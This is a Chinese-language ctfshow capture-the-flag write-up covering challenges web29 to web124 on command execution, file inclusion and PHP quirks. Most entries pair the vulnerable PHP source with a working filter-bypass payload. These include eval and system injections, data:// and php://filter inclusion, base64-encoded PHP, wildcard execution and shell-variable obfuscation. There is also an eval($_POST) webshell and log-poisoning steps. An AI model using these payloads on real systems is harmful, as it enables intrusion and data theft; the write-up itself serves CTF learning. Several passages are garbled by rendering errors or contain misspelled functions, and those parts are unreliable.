ctfshow 命令执行-文件上传-php特性
命令执行
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
只屏蔽了flag
payload:
?c= system("cat fla*");
web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=echo `cat fla*`;
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
屏蔽了
flag system php cat sort shell . 空格 '
空格过滤,可以用table绕过%09进行绕过
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了
flag system php cat sort shell . 空格 ' 反撇 echo ; (
但是没过滤include可以包含一个post参数然后用伪协议来读取
php://filter/read=convert.base64-encode/resource=
web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤
flag system php cat sort shell . ' ` echo ; ( "
相比较上一题多过滤了一个双引号,可以post包数字就不需要双引号
?c=include$_POST[1]?>
php://filter/read=convert.base64-encode/resource=
web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了一个:好像没什么影响
用上面的payload一样打
web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了<还有=
毫无影响
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了数字那么之前的方法行不通了
可以把数字直接替换成字母,虽然规范要添加引号包含住,但是不写也可以执行
web37
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
文件包含漏洞,可以直接文件包含代码执行:data:text/plain,<?php 你想要执行的代码?>
最终payload:
?c=data:text/plain,<?php echo `cat fla*`?>
flag在源代码里
web38
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
多过滤了php还有file,
上面的payload不能用了,我们可以把后面的内容进行一个base64编码进行执行
payload
?c=data:text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYSpgPz4=
web39
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这题的意思就是直接在我们的最后添加一个.php
我们可以直接使用上面的代码执行,执行结束之后直接添加.php也不影响执行
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
屏蔽了
数字 ~ @ # \$ % ^ & * ( ) - + = { } [ ] ' " , < . > ? / \
这里的屏蔽的是中文括号,也就是说我们只能用无参RCE
我们想要查看目录可以用print_r(scandir(’.’))
既然是无参最难的就是构造"."
localeconv()
他是一个数组,第一个就是.我们需要调用数组的第一个又需要介绍一个函数
current()
他们俩组合current(locakeconv())
就可以调用‘.’拉
可以用print_r(scandir(current(locakeconv())));
查看目录文件
然后用
array_reverse()
next()
倒置,取下一个,取到我们想要的文件
然后highlight_file就行
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了
0-9 a-z ^ + ~ $ [ ] { } & -
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
直接运行就行,用分号隔断
payload:?c=cat ;
web 43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
屏蔽了分号隔断
可以使用||这个符号的作用就是左边执行的话右边不执行
web 44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了flag还有cat
用sort fla*
文件读取的方式:
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
web 45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了空格
空格用%09代替即可绕过
web 46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了$符号以及*还有数字
%09会进行二次编码所以不用担心数字过滤
还有别的绕过方法如 I F S 但 是 这 里 过 滤 了 {IFS}但是这里过滤了 IFS但是这里过滤了符号
<>,<,$IF$9
但在这里好像都不行
web 47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了more less head sort tail
可以用tac,具体其他命令44写了
web 48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了sed cut awk strings od curl
无影响
web 49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了%用<绕过
?c=tac<fla""||
web 50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了tab还有&
一样绕
web 51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
tac也过滤了但是nl没有过滤
替换成nl,vi都行
web 52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
现在<>
也被过滤了但是$符号又放出来了
不过这题的flag在根目录下
web 53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
多过滤了wget
直接执行系统命令
payload
c=nl${IFS}fla""
web 54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
;|cat|flag| |[0-9]|\ |more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|nl|scp|rm
被过滤的参数
不能出现相连字母,所以可以用?代替f???
最后vi输出或者是/bin/后面接过滤参数bin是命令目录
web 55
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了所有小写字母
这里需要构造上传,更改一下上传脚本,并且构造poc执行命令
?c=.+/???/????????[@-[]
[@-[]是linux下面的通配符,匹配的是大写字母
然后在上传文件里面更改添加sh命令
#!/bin/sh
ls
就可以直接执行命令。
附构造上传脚本:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
web 56
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
额外过滤了数字
也可以用上面的方法
web 57
<?php
flag在36.php中
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
额外过滤了上面的方法
涉及到了linux的命令
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
构成-36取反就好了
web 58
突破禁用命令的方法:
1、通过复制,重命名读取php文件内容 函数:copy、rename
2、单一函数读文件内容: 函数:file_get_contents()[搭配echo] readfile() file()[搭配peint_r]
3、通过fopen读文件内容:
函数:
fread() 用法:$a=fopen("","r");echo fread($a,"1000");
fgets() $a=fopen("","r");while (!feof($a)) {$line = fgets($a);echo $line;}
fgetc() $a=fopen("","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
fgetss() $a=fopen("","r");while (!feof($a)) {$line = fgetss($a);echo $line;}//php7.3后无法使用
fgetcsv() $a=fopen("","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
gpassthru() $a=fopen("","r");echo fpassthru($a);
4、高亮: 函数: show_source() highlight_file()
5、flag不在中,遍历目录: 函数: scandir() opendir()
6、flag是txt直接包含: 函数: include() require()
7、绕过之前的正则:在后面接exit();
8、绕过open_basedir: 函数:
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
但是禁用了system好像,可以用highlight_file()绕过
也可以用
echo file_get_contents("");
readfile("");
web 59
同样的数据
也没有过滤highlight_file()
也可以:
print_r(file(""));
web 60
见web58
也可以(rename)copy("","")
访问
web 61-65
高亮
web66
使用高亮发现flag不在这里,使用目录遍历
print_r(scandir('.'));
发现flag在根目录下的中
然后用高亮显示
c=highlight_file('/');
web 67
print_r
被禁,用var_dump代替
web 68
发现高亮被过滤,但是可以继续遍历目录
flag还是在根目录下
因为他是txt文件,直接include这个文件他就会直接在网页中显示
web 69-70
var_dump
被禁用,可以用var_export
替代
web 71
使用上面方法的时候发现,全是问号
但是遍历根目录的时候可以发现???.???猜测是
读取这个方法也全是问号,想到用utf-8编码看一下是不是编码问题
查看源代码发现下面有一层过滤
可以用exit();跳过这层过滤
web 72
web 73
先用var_export遍历一下目录发现根目录下面的文件
然后include包含这个文件就可以
web 74
这里过滤掉了dir相关的函数
用glob函数过
使用方法:``
glob(’./*’)遍历当前目录下的文件
web 75-76
用到了php中保存目录的类:Directoryiterator
DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
我们可以直接在网页中编写实例一个DirectoryIterator对象,然后用一个循环遍历出它里面包含的文件
payload:
?><?php $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo $f->__toString()." ";}exit();
可以找到文件
这里需要用到PDO类链接数据库
php页面链接数据库例子:
<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='test'; //使用的数据库
$user='root'; //数据库连接用户名
$pass=''; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
所以我们现在需要初始化的内容$dbh = new PDO($dsn, $user, $pass); *//初始化一个PDO对象*
需要提供账号密码还有数据库信息
也不知道师傅们是怎么拿到数据库的信息的:
payload:
try{
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');
foreach($dbh->query('select load_file("/")')as $row){#76是36d
echo($row[0])."|";}
$dbh = NULL;
}catch (POException $e){
echo $e->getMessage();
die();
}exit();
c=try { d b h = n e w P D O ( ′ m y s q l : h o s t = l o c a l h o s t ; d b n a m e = c t f t r a i n i n g ′ , ′ r o o t ′ , ′ r o o t ′ ) ; f o r e a c h ( dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach( dbh=newPDO(′mysql:host=localhost;dbname=ctftraining′,′root′,′root′);foreach(dbh->query(‘select load_file("/")’) as KaTeX parse error: Expected '}', got 'EOF' at end of input: row) {echo(row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
原理:在数据库中查找然后抛出异常,输出其中内容
web77
一样可以用上面的代码读取到文件目录,可以看到flag在或者readflag中
但是我们用上面的sql方法读取文件的时候发现,sql被ban了,得想另一种办法
可以利用FFI(但是FFI只有在php7.4之后才有)
新姿势:$ffi = FFI::cdef(“int system(const char *command);”);创建一个system对象
然后将readflag重定向
最后调用system执行$a
最后访问我们重定向的文件
web 118
这题又是一个新姿势,我们可以利用环境变量或者路径含有的字母来执行命令
这题没有过滤空格还有路径包含
而且给出的提示中有当前目录是/var/www/html
以及环境变量是/bin
我们可以调用环境变量的最后一个字母(~A)以及当前目录中最后一个字母组成nl后面包含题目给我们的flag所在位置(?没有被ban)
最终payload:
${PATH~A}${PWD~A}????.???
附上LINUX的环境变量:
查看环境变量 (environment)
env
一些环境变量说明
HOSTNAME= 主机名称
SHELL=/bin/bash 当前环境下,使用的shell是哪一个程序。
TERM=xterm 终端使用的环境是什么类型
HISTSIZE=1000 记录命令的数目
USER=root 用户的名称
ENV=/root/.bashrc 使用的个人环境设置文件
MAIL=/var/spool/mail/root 这个用户所采用的邮箱位置
PATH=/sbin:/usr/sbin:/bin 执行文件命令搜索路径
PWD=/root 当前用户所在的工作目录(利用pwd取出)
LANG=en_US,UTF-8 与语系有关
HOME=/root 用户的家目录
web 119
跟上题类似但是需要构造不一样的东西上题构造的是无法用的
0:
${#}
1:
${##}
${#SHLVL}
4-5:
${#RANDOM}
/:
${HOME:${#}:${##}}
t:
${HOME:${#HOSTNAME}:${#SHLVL}}
1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2
3 PHP_VERSION=7.3.22 /版本
4 SHLVL=2 /記錄多個bash進程實例嵌套深度的累加器
5 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6 [HOSTNAME] => glot-runner /主機名
[PHPIZE_DEPS] => autoconf dpkg-dev file g++
gcc libc-dev make pkg-config re2c
7
8 [PHP_INI_DIR] => /usr/local/etc/php
9 [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
10 [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
11 [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2
D6021E995DC9FF8D3EE5AF27F
12
13 [PHP_VERSION] => 7.2.1
14
[PHP_ASC_URL] => /get/php-7.2./from/
this/mirror
15
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d
8e6efd8822
16
17 [PHP_MD5] =>
18 [HOME] => /home/glot
19 [PHP_SELF] => /tmp/543750210/
20 [SCRIPT_NAME] => /tmp/543750210/
21 [SCRIPT_FILENAME] => /tmp/543750210/
22 [PATH_TRANSLATED] => /tmp/543750210/
23 [DOCUMENT_ROOT] =>
24 [REQUEST_TIME_FLOAT] => 1524198667.12
25 [REQUEST_TIME] => 1524198667
26 [argv] => Array
27 (
28 [0] => /tmp/543750210/
29 )
30 [argc] => 1
31 )
非预期:
可以看到PHP_CFLAGS中含有tac,直接构造数字3取PHP_CFLAGS的第三个的三位就行了
web 120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
上面的题目虽然没有过滤,但是我们用的长度太长了会被后面的小于65pass
所以我们的换一种方法构造
可以尝试一下构造base64
我们只需要构造出4和6
我们还记得118的提示
然后PHP_VERSION的长度是6
pwd的长度是4
可以构造
????${#PWD} ????.??? #base64
但是没办法执行,应该是位置发生了什么变化把,换一种方法,构造出/bin然后直接执行看看
想到可以构造/bin/base64 ???.???
现在的问题就是构造一个/
可以用pwd的第一个字符就是/
${PWD::${#SHLVL}}
如果构造这个的话,长度就可能不够了,
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#PWD} ????.??? #尝试了一下好像不太行,可能当前目录发生了变化,长度不是4了
换个方法,可以用随机函数,RANDOM虽然是要靠运气但是确实是可以做出来的
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${RANDOM} ????.???
这样随机到4的概率有点低
我们可以让他随机到4位,取他的长度
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
官方的wp:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
好像就是用的/bin/cat
谁能知道user最后一位是a呢
web 121
上面可以看到SHLVL被过滤掉了
但是${##}
的效果跟他一样的直接替换
替换之后用上面的payload继续打
web 122
可以看到我们用pwd提取/但是pwd被过滤了
发现没有过滤HOME,而且HOME返回的是家目录也是含有/但是#也被过滤了查了一下可以用$?
,它表示上一条命令的返回值,如果是0则表示执行成功,如果是非0则表示执行有误
用${HOME::$?}
web 124
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http:///php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
可以看到这道题同样限制了长度,并且添加了黑白名单:
过滤了空格,换行,tab,单双引号还有中括号
他特别提示了用到数学符号,而且在这边给出了进制转换的几个函数:
base_convert随机进制转换
hexdec十六进制转换成十进制
dechex十进制转换成十六进制
原本只需要base_convert就足够了,但是这题同样限制了80长度,只用这个的话长度不够,所以我们必须结合利用
我们知道我们在执行的时候是以二进制数据进行程序执行的
所以我们可以构造rce
以GET方式传入一个数,然后我们就可以随机构造我们想要的系统命令了
可以看到我们直可以用它给的函数还有数字,还有除了上面其余符号,
我们可以构造一个十进制,然后让他转换成二进制字符串,但是上面没有给我们函数来转换成2进制字符串
所以说我们需要构造一个参数让他转换成2进制字符串
看了一下他给的数学函数需要返回字符串的话我们只能使用
hex2bin
函数,这个函数会将16进制转换成二进制字符串
也就是说我们需要用base_convert转换出hex2bin
直接去找一个在线网站转换就行了37907361743
然后构造base_convert(37907361743,10,36)就可以构造出hex2bin
然后我们就可以构造一个_GET了
1598506324
然后直接拼接
base_convert(37907361743,10,36)(dechex(1598506324))#_GET
这样我们就构造好了_GET因为中括号被过滤了我们可以用大括号代替中间的就用上面给定的函数来覆盖,
可以构造$pi=base_convert(37907361743,10,36)(dechex(1598506324))
因为长度限定我们可以使用变量定义一下,把这个复制给$pi
然后用$
p
i
构
造
出
pi构造出
pi构造出_GET{abs},但是因为我们没办法使用单引号,所以我们还需要构造一个参数,然后让他组成函数(参数)
的方式,然后函数,参数都用get传入
也就是说需要构造c=$_GET{abs}($_GET{exp})
然后我们再传入abs还有exp就可以rce
payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{exp});&abs=system&exp=tac f*
------命令执行结束------
文件包含
web 78
用php伪协议
web 79
用data伪协议
web 80
随便输入一个页面查看服务器的系统
用file伪协议抓包之后在网页的标头信息构造漏洞在日志文件中getshell
web 81
直接file=文件的日志文件
然后抓包构造标头
web 82-86
环境有问题,现在没办法做
web 87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
我们需要写入content数据写进file中,但是要绕过这个die
考到了伪协议绕过,我们可以用伪协议编码绕过,用base64或者是rot13base64解码的时候<?;>等会被忽略,最后也就会变成phpdie然后添加两个字符之后对后面的数再继续进行解码这样我们就直接绕过了这个死亡杂糅(我这题base64没做出来,用的rot13)rot13编码之后` <?php die('大佬别秀了');?>会变成
<?cuc qvr('大佬别秀了');?>`再进行一次编码他就会恢复原状,如果php没有开启短标签的话,php不认识这个字符那么他就不会执行,我们直接在后面添加我们想要输入的代码然后进行一次rot13编码,当他在进行一次rot13编码的时候,他就会变成我们想要输入的原始形态,就绕过了前面的die不会退出。
参考链接:
/t/8163#toc-3
/PENETRATION/
web 88
过滤的字符串
php ~ ! @ # $ % ^ & * ( ) - _ + = .
跟前面一样,可以直接用data伪协议读,但是解码之后最后可能会有= + 等符号,可以在后面直接加几个1来混淆
data:text/plain;base64,加上base64编码
payload:
?file=data:text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ2NhdCBmKicpKTsgPz4xMTEx
web 116
打开可以看到是一个MP4文件,先下载下来然后用foremost分离
打开png文件发现图片就是源码
审计发现直接get方式传入一个file名就行了但是需要抓个包才能看返回值
web 117
ucs-2编码
echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]); ?>');
他的返回值就是经过编码之后的
然后我们直接用伪协议写php://filter/write=-2BE/resource=
来写入文件到
contents传入我们转码之后的一句话木马
contents=?<hp+pvela ( P S O [ T ] 1 ; ) > ? 也 就 是 ‘ < ? p h p e v a l ( (P_SO[T]1;)>?也就是`<?php eval( (PSO[T]1;)>?也就是‘<?phpeval(_POST[1]); ?>`
-------文件包含也结束了-------
php特性
web 89
数组绕过
web 90
进制转换,4476转换成八进制就行了首位添加0
web 91
考到了/i以及/im的区别
im匹配换行符
web 92-93
同上面的90一样
web 94
多了一些条件,首位不能是0,不能含有字母,不能等于4476
我们可以构造小数,绕过前面然后到后面intval函数直接变成int4476
web 95
过滤了
因为知道是在当前目录下
当前目录下的文件可以用./+文件名表示
web 96
标准的MD5绕过,可以用数组
web 97
用数组绕过
web 98
<?php
include("");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
想了想还是贴上代码,考到了三元运算符的运用
第一个是如果传入了一个get参数,那么就把这个方法转换为post方法,因为他赋值的时候把post的地址给了get,所以我们用GET方式传入一个参数之后还需要再POST方法传入一个同样的flag,仔细看一下下面两个三元判断是没用的,可以不用管
web 99
<?php
highlight_file(__FILE__);
$allow = array();#将allow设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
#给数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
#检查这个里面是否有我们输入的n的键值,in_array漏洞,如果没有设置第三个值的话那么我们输入的内容会自动转换n=会转换成1
file_put_contents($_GET['n'], $_POST['content']);
#然后到这就可以写入一个一句话木马
}
?>
web 100
<?php
highlight_file(__FILE__);
include("");
//flag in class ctfshow;#提示flag在ctfshow
$ctfshow = new ctfshow();#新建一个ctfshow对象
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);#因为and的优先级比=低,所以我们只需要v1传入数字就行了
if($v0){
if(!preg_match("/\;/", $v2)){#v2中不含有分号
if(preg_match("/\;/", $v3)){#v3中含有分号
eval("$v2('ctfshow')$v3");
}
}
}
?>
非预期:因为什么也没有过滤所以直接命令执行就行
预期解:用ReflectionClass类反弹(引用一下羽师傅的wp讲解)
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
原文链接:/miuzzx/article/details/109168454
也就是说我们直接输出new ReflectionClass(‘ctfshow’)
他就会直接输出里面的内容
web 101
用100的预期解
web 102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);#截取v2从2开始的后续字符
$str = call_user_func($v1,$s);#将v1作为回调函数,将s传入
echo $str;#输出str
file_put_contents($v3,$str);#将其中的数传入v3中
}
else{
die('hacker');
}
?>
